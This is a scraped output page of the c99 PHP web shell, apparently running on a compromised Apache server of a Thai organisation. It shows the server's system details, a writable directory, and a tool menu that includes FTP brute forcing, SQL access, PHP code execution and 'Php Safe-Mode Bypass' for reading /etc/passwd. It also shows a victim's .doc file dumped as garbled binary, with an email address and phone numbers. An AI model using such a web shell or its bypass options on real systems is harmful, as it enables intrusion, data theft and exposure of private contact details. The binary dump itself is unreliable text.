!c99Shell v. 1.0 pre-release build #16!

Software: Apache/2.2.3 (CentOS). PHP/5.1.6 

uname -a: Linux mx-ll-110-164-51-230.static.3bb.co.th 2.6.18-194.el5PAE #1 SMP Fri Apr 2 15:37:44
EDT 2010 i686 

uid=48(apache) gid=48(apache) groups=48(apache) 

Safe-mode: OFF (not secure)

/var/www/html/mistk/eoffice/documentsTmp/   drwxrwxrwx
Free 40.64 GB of 127.8 GB (31.8%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     20170621_144856-1029-88534a7609817e001fa5b591b1a11674-8.doc (46.5 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
ࡱ>	VYU[	Pbjbj4*ΐΐ

D-V0AWWWWVVVVVVV,Y[V!VWWgV|||4WWV|V||NK@PWS`M0VV0VM$|\.|\`PP|\Q|VV$XV|\
1:	A-#1@I2-#! 
B#2#-#!@
44142#2#128%2#*2"*1*8@#7-H2"'4"2%1"C*11*21#0#!#2

  20'1--@	5"@+7- (Necnet)
@#7H- 2#122#03*9H2'41" (Routine to Research : RRR)
#0"05H 3 #0+'H2'15H 16   18 *4+2! 2560   @7H-#1

#0 2  1+'1*8#2)#L25
'4"2%1".............................................................................................................................

7H-   *8%..................................................3A+H.........................................!7-7-.................................

7H-   *8%..................................................3A+H.........................................!7-7-................................

7H-   *8%..................................................3A+H.........................................!7-7-................................

7H-   *8%..................................................3A+H........................................!7-7-................................
$&<XZ			"	̴mmmYm?+&hDhD5CJ$OJQJ\^JaJ$2hDhD5B*CJ$OJQJ\^JaJ$ph&hP5CJ$OJQJ\^JaJ$o()hDhD5CJ$OJQJ\^JaJ$,hDhD5CJ$OJQJ\^JaJ$o(5hDhD5B*CJ$OJQJ\^JaJ$o(ph/hh5B*CJ,OJQJ\^JaJ,ph/h]~5B*CJ,OJQJ\^JaJ,o(ph5hh5B*CJ,OJQJ\^JaJ,o(ph&&		P
\
&( R4>]gd2]gd^8gd^8

gd]~
&Fx`gd]~

&Fxgd]~gd]~$&dPa$gdD$a$gdD$a$gd"	&	n									

N
P
`
ZҾҾҧjS>)h9h]~5CJ OJQJ\^JaJ ,h9h]~5CJ OJQJ\^JaJ o(,h]~hD5CJ$OJQJ\^JaJ$o(#h]~5CJ$OJQJ\^JaJ$&h]~5CJ$OJQJ\^JaJ$o(,hDhD5CJ$OJQJ\^JaJ$o(&hDhD5CJ$OJQJ\^JaJ$)hDhD5CJ$OJQJ\^JaJ$/hDhD5B*CJ$OJQJ\^JaJ$phZ\fh
Z^`d"






VBz
l
$&ۻ۪۪ۜۻ۪ۜۻ۪۪ۜۻ۪۪ۋۻ۪۪ۜU hAMh]~CJ OJQJ^JaJ h]~CJ OJQJ^JaJ  h]~CJ OJQJ^JaJ o(h]~CJ OJQJ^JaJ  h;h]~CJ OJQJ^JaJ #h;h]~CJ OJQJ^JaJ #h]~5CJ OJQJ\^JaJ o(2
7H-   *8%..................................................3A+H........................................!7-7-................................

@#5" 9I@I2-#!#823 Note book !2@7H-C
I414#0-2#-#!

@7H-'2!*0'-H2 B#AI#2"
7H-@I2#12##0
8!   
DI5H  Fax  043 -223898,221770 H- 102    +#7- E mail :  HYPERLINK "mailto:medee22@hotmail.com" medee22@hotmail.com    2"C'15H 30 !482" 2560  
*-2!#2"%0@-5"@4H!@4!DI5H9I#0*22B#2# (9"L123%1  '4"2%1"2#*22#*8*4#4# 1+'1-AH
1.    #4+2#'4
22#    -.'2'  ')L#0%1    		B#.  081-9746878
2.    #4+2#12#	 -.2#5%1)L  +48"      		B#.  089-4220120









&(4Zn־raM;M;M;r#h^8>*CJ$OJQJ^JaJ$o(&h8B>h^8>*CJ$OJQJ^JaJ$ h8B>h^8CJ$OJQJ^JaJ$)h8B>h^85CJ$OJQJ\^JaJ$ h[35CJHOJQJ\^JaJH h]~5CJHOJQJ\^JaJH)h*5h]~B*CJ$OJQJ^JaJ$ph/h*5h]~B*CJ$OJQJ^JaJ$o(ph,h>'h]~5CJ(OJQJ\^JaJ(o(#h[35CJ(OJQJ\^JaJ(o( ,.06BDHpv~ذذĕiT</hMh^8B*CJ$OJQJ^JaJ$phwh)h^8B*CJ$OJQJ^JaJ$phwh5hMh^8B*CJ$OJQJ^JaJ$o(phwh h^8CJ$OJQJ^JaJ$o(5h5h^85B*CJ$OJQJ\^JaJ$o(ph&h8B>h^85CJ$OJQJ\^JaJ$&h^85CJ$OJQJ\^JaJ$o()h8B>h^85CJ$OJQJ\^JaJ$#h^85CJ$OJQJ\^JaJ$o(,BNPRv\B1  h8B>h^8CJ$OJQJ^JaJ$ h^8CJ$OJQJ^JaJ$o(2h^85>*B*CJ$OJQJ\^JaJ$o(ph2h25>*B*CJ$OJQJ\^JaJ$o(ph5h8B>h^85>*B*CJ$OJQJ\^JaJ$ph>hMh^85>*B*CJ$OJQJ\^JaJ$o(phwh3hMh^80JB*CJ$OJQJ^JaJ$phwh/hMh^8B*CJ$OJQJ^JaJ$phwh8jhMh^8B*CJ$OJQJU^JaJ$phwhR24:LZb
&<>@Bdzkِ]XNDhh3Vo(hh[3o(	h[3h^8CJ$OJQJ^JaJ$&h8B>h^8CJ$OJQJ^JaJ$o( h^8CJ$OJQJ^JaJ$o(#h8B>h^8CJ$OJQJ^JaJ$ h8B>h^8CJ$OJQJ^JaJ$&h8B>h^85CJ$OJQJ\^JaJ$#h8B>h2CJ$OJQJ^JaJ$ h2CJ$OJQJ^JaJ$o()h8B>h^85CJ$OJQJ\^JaJ$>@BDFHJLNP]gd2^gdx	BLNPhh3Vo(h#h^821h:p'n. A!"n#7$%b2 0@P`p2( 0@P`p 0@P`p 0@P`p 0@P`p 0@P`p 0@P`p8XV~^J_HmH	nH	sH	tH	<`<X+4CJ_HaJmH	sH	tH	LLUE+1'@#7H- 1$@&CJ OJPJQJaJ ^^+1'@#7H- 4$<@&5CJOJPJQJ\^JaJ#LA`LA-1)#-"H-+I2@#4H!ILiL	2#244
l4a0k 0D!H!5#2"2#hhCD!	@*I2#27:V0FB@FUE	@7I-'2!hCJ OJQJ^JaJ dC@dUE2#@"7I-@7I-'2!x^CJOJPJQJ^JaJ J"JWLI	+1'#02)

9r CJOJPJQJL1LWLI+1'#02) -1#0CJOJPJQJaJPAPWLI+1'@#7H- 1 -1#0CJ OJPJQJaJ ZERZ3V#2"2#H-@7H- 26x^6CJOJQJ^JVbV3V 
#2"2#"H-+I2
^m$CJ OJPJQJaJ(ZqZ+1'@#7H- 4 -1#05CJOJPJQJ\^JaJ#LU@Ld2#@
7H-!B"+%2"!44>*B*phLLd@7I-'2! -1#0CJ OJQJ^JaJ   d_xdbBBdapple-converted-space  d_xbe  *5_rcmPK![Content_Types].xmlj0Eжr(΢Iw},-j4	wP-t#bΙ{UTU^hd}㨫)*1P'	^W0)T9<l#$yi};~@(Hu*Dנz/0ǰ$X3aZ,D0j~3߶b~i>3\`?/[G\!-Rk.sԻ..a濭?PK!֧6_rels/.relsj0}Q%v/C/}(h"O
= C?hv=Ʌ%[xp{۵_Pѣ<1H0ORBdJE4b$q_6LR7`0̞O,En7Lib/SeеPK!kytheme/theme/themeManager.xmlM
 @}w7c(EbˮCAǠҟ7՛K
Y,
e.|,H,lxɴIsQ}#Ր ֵ+!,^$j=GW)E+&
8PK!iB;otheme/theme/theme1.xmlYo5G}k&]S-4ulhyO.o= x
&m4H!ssV&gkKCGUx!K~ջn[T8b#RDz|"^U		\U/P*^]X>cy$!V(]nCxx4GߎGǣƏ4tף>R
DJLlwr(L=̪mr[ya`[XWELYY4d]hx~g´,U.lLSFQo'>hje,5WfdҮʅ_RʕDKԀ~\Z_td|^/;x|Be
(`4ڝAk6		f.|+>EA4LKH͋	
dXaLz؇ #(*;˙!I_XUwb	3OÃG?޹sx%Q?wy=o,/_藟?BLy=xǿ7.p'oӐHtb*#N`]%C}uYGq-xC@5
@Ηnqj\Z1s{A^:614,qf8RO"㻄hwRǮ[\B7)ak684]IC0OgcYdEBV`#|0njoa6YW
l
5O	%R歹&@ߌ/cXnbE
Ewh^g|0öhdo]Qʃoq7C3Gs}W4
=3ڗP
1Pm]9{9uؓ2aH;Zt\t_s7 &z;/OZhʮlSlZpnܣԐ+4n:sx$SϤ;f
\KU
p
vD2!ݗ(vf8C챰Hx/\0!cv9|42[_YQubnE#)uY`pbMh@-`e8kp0tޛx,]$%޳>*'bn vr|yX-íɾ8)ˮ4]꽗RS/=,&'~իq\zpa^ìF6MfSoVR$(5NTX64T,Ҝe0Y)`#XZ`פ;%Uٙm;R>PD>각~OJ0A?=rst+NʭN4-Dt˕(wzULʟ*0)Xjp+0ZP*o
hLhXf-Ȟ9giڡ}$(G*lCY2wbwY,!d"*#GX[e{(P7$)w4$:}dͩ!?d:lsvU,Oެ"zbfҬfpʭV˩pYapp߃?}376߁ڊE&aQ}6HH;؁`ҤiI[-ݬϸӝ=bl-I}JcO3giŽ\Sg(҃qy};p?`J`wJC2yo9kPK!
ѐ'theme/theme/_rels/themeManager.xml.relsM
0wooӺ&݈Э5
6?$Q
,.aic21h:qm@RN;d`o7gK(M&$R(.1r'JЊT8V"AȻHu}|$b{P8g/]QAsم(#L[PK-![Content_Types].xmlPK-!֧6+_rels/.relsPK-!kytheme/theme/themeManager.xmlPK-!iB;otheme/theme/theme1.xmlPK-!
ѐ'	theme/theme/_rels/themeManager.xml.relsPK]
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<a:clrMap xmlns:a="http://schemas.openxmlformats.org/drawingml/2006/main" bg1="lt1" tx1="dk1" bg2="lt2" tx2="dk2" accent1="accent1" accent2="accent2" accent3="accent3" accent4="accent4" accent5="accent5" accent6="accent6" hlink="hlink" folHlink="folHlink"/>*"	Z&RBP
>P	GpXUV?b$jvίg4䞓G:b$3|%
iSb$jvίg4䞓G:@U0(	
B
S	?	'(CHkp
/COZo3333(n"dm>7nl$6m!$7e&p|M:v&4,n'4*p|
-}JW;\lfn"
jK@lKmp|0n4UTq$q6q0#n|p|!XC}p|6^`o(.
p^p`hH.
@L^@`LhH.
^`hH.
^`hH.
L^`LhH.
^`hH.
P^P`hH.
 L^ `LhH.6h
^`hH.h
	^	`hH.h
L^`LhH.h
x^x`hH.h
H^H`hH.h
L^`LhH.h
^`hH.h
^`hH.h
L^`LhH.6^`o(.
p^p`hH.
@L^@`LhH.
^`hH.
^`hH.
L^`LhH.
^`hH.
P^P`hH.
 L^ `LhH.6h
D^D`hH.h

^
`hH.h
L^`LhH.h
^`hH.h
^`hH.h
TL^T`LhH.h
$^$`hH.h
^`hH.h
L^`LhH.6h
D^D`hH.h

^
`hH.h
L^`LhH.h
^`hH.h
^`hH.h
TL^T`LhH.h
$^$`hH.h
^`hH.h
L^`LhH.h
^`hH.h
^`hH.h
pL^p`LhH.h
@^@`hH.h
^`hH.h
L^`LhH.h
^`hH.h
^`hH.h
PL^P`LhH.h!^`CJ OJQJ^JaJ o(hH.h
^`hH.h
pLp^p`LhH.h
@@^@`hH.h
^`hH.h
L^`LhH.h
^`hH.h
^`hH.h
PLP^P`LhH.h!^`CJ OJQJ^JaJ o(hH.h
^`hH.h
pLp^p`LhH.h
@@^@`hH.h
^`hH.h
L^`LhH.h
^`hH.h
^`hH.h
PLP^P`LhH.h
^`hH.h
^`hH.h
pL^p`LhH.h
@^@`hH.h
^`hH.h
L^`LhH.h
^`hH.h
^`hH.h
PL^P`LhH.6h
^`hH.h
	^	`hH.h
L^`LhH.h
x^x`hH.h
H^H`hH.h
L^`LhH.h
^`hH.h
^`hH.h
L^`LhH.6h
^`hH.h
	^	`hH.h
L^`LhH.h
x^x`hH.h
H^H`hH.h
L^`LhH.h
^`hH.h
^`hH.h
L^`LhH.6h
^`hH.h
	^	`hH.h
L^`LhH.h
x^x`hH.h
H^H`hH.h
L^`LhH.h
^`hH.h
^`hH.h
L^`LhH.6^`o(.
p^p`hH.
@L^@`LhH.
^`hH.
^`hH.
L^`LhH.
^`hH.
P^P`hH.
 L^ `LhH.h!^`CJ OJQJ^JaJ o(hH.h
^`hH.h
pL^p`LhH.h
@^@`hH.h
^`hH.h
L^`LhH.h
^`hH.h
^`hH.h
PL^P`LhH.h!^`CJ OJQJ^JaJ o(hH.h
^`hH.h
pL^p`LhH.h
@^@`hH.h
^`hH.h
L^`LhH.h
^`hH.h
^`hH.h
PL^P`LhH.h
^`hH.h
^`hH.h
pL^p`LhH.h
@^@`hH.h
^`hH.h
L^`LhH.h
^`hH.h
^`hH.h
PL^P`LhH.h!^`CJ OJQJ^JaJ o(hH.h
^`hH.h
pLp^p`LhH.h
@@^@`hH.h
^`hH.h
L^`LhH.h
^`hH.h
^`hH.h
PLP^P`LhH.6h
D^D`hH.h

^
`hH.h
L^`LhH.h
^`hH.h
^`hH.h
TL^T`LhH.h
$^$`hH.h
^`hH.h
L^`LhH.6F^F`o(.^`.
L^
`L.
^
`.^`.VL^V`L.&^&`.^`.L^`L.h
^`hH.h
^`hH.h
pL^p`LhH.h
@^@`hH.h
^`hH.h
L^`LhH.h
^`hH.h
^`hH.h
PL^P`LhH.h
^`hH.h
^`hH.h
pL^p`LhH.h
@^@`hH.h
^`hH.h
L^`LhH.h
^`hH.h
^`hH.h
PL^P`LhH.mlfHqUTq6m!1;\
-6d6}JW61*!XC}7e&c0nM:v&}n|#,n'P@lmP
jP(																	zx																																			$								$																																												(								$								$																	$																	b																										t!"w!"CeU:"kwIhiy[U:i_v`tCe(,oh"kw(,o"kwTjx_v`+*z+0PeNu5<CAQz,u
^<
$c~cR"^X8d.s"PJpU CD!FX"
#Y?#s%='%n%}:&C(N	)X*X+
,K-R-]-/)0D14I2[3{g4l4*53+5Z,7F7>X8^899/M:P:LS;S<6L=&>Xu>@{A%B	C)C6D{DEUEiEQnFDG_HWLItVI&5KE9LqBLULMCN*RYRjR@S1@X&ZS
\K\<U^xf^9_C!`\`/a_<blXb!jbFctcCd]aemfDBfMjD.jaRm'nUyno}p0p)cqnqqLrcr[s6u5CubvVtvEx+Jy z_z5kzC|k1x2VMGeVgn9TMV=l}{)]~mETR+(s+d>+d*z,yQ-gHP!SP
rFh.q&K7!>I8XRv4@h2;{sR]AMP3V#xq}<K
UR(%)?r.0
7zS# bOv7|$xKl9<cOjb@[>,/sX_bLzizz)f%]T4]6uL
ViE`sxC$N'
-!h)DiVu*Oc|+4 |E L~z3-$qeA9;Si@XXUnknown	G* Times New Roman5Symbol3.* ArialC&oZ PTH SarabunPSK?Angsana New=&Cordia New7.{ @Calibri=AngsanaUPCA BCambria Math"1hVgVgV'!74
2q HP
?jCD!2!xx32#2#0
8!'4
22#@I2+I25H*22#*8@#7H-   #*MoZarD	PC-SCPHKK`	

Oh+'0 	4@
`lx
j4ҧЪԪҡ˹ҷҸóآͧ  þʵMoZarDNormalPC-SCPHKK2Microsoft Office Word@F#@2sx@ޛ`@ޛ`՜.+,D՜.+,h$hp
jLiteOS4ҧЪԪҡ˹ҷҸóآͧ  þʵͧ 8@_PID_HLINKSjAp#mailto:medee22@hotmail.com	

 !"#$%&'()*+,-./0123456789:;<=>?@ABCDFGHIJKLNOPQRSTWX[Root Entry	FeX`Z1Table\WordDocument	4*SummaryInformation(EDocumentSummaryInformation8MMsoDataStoreP`S`4HJHE4D1A==2P`S`Item
PropertiesUCompObj
w	<b:Sources SelectedStyle="\APA.XSL" StyleName="APA" xmlns:b="http://schemas.openxmlformats.org/officeDocument/2006/bibliography" xmlns="http://schemas.openxmlformats.org/officeDocument/2006/bibliography"></b:Sources><?xml version="1.0" encoding="UTF-8" standalone="no"?>
<ds:datastoreItem ds:itemID="{1F9EFEA7-6EF2-471C-83F2-0DB3C3B6EEB8}" xmlns:ds="http://schemas.openxmlformats.org/officeDocument/2006/customXml"><ds:schemaRefs><ds:schemaRef ds:uri="http://schemas.openxmlformats.org/officeDocument/2006/bibliography"/></ds:schemaRefs></ds:datastoreItem>
	F%͡ Microsoft Office Word 97-2003
MSWordDocWord.Document.89q

:: Command execute ::

Enter:
 
Select:
 

:: Shadow's tricks :D ::

Useful Commands
 
Warning. Kernel may be alerted using higher levels
Kernel Info:

:: Preddy's tricks :D ::

Php Safe-Mode Bypass (Read Files)

File:

eg: /etc/passwd
Php Safe-Mode Bypass (List Directories):

Dir:

eg: /etc/

:: Search ::
  - regexp 
:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c999shell v. 1.0 pre-release build #16 Modded by Shadow & Preddy | RootShell Security Group | r57 c99 shell | Generation time: 0.0103 ]--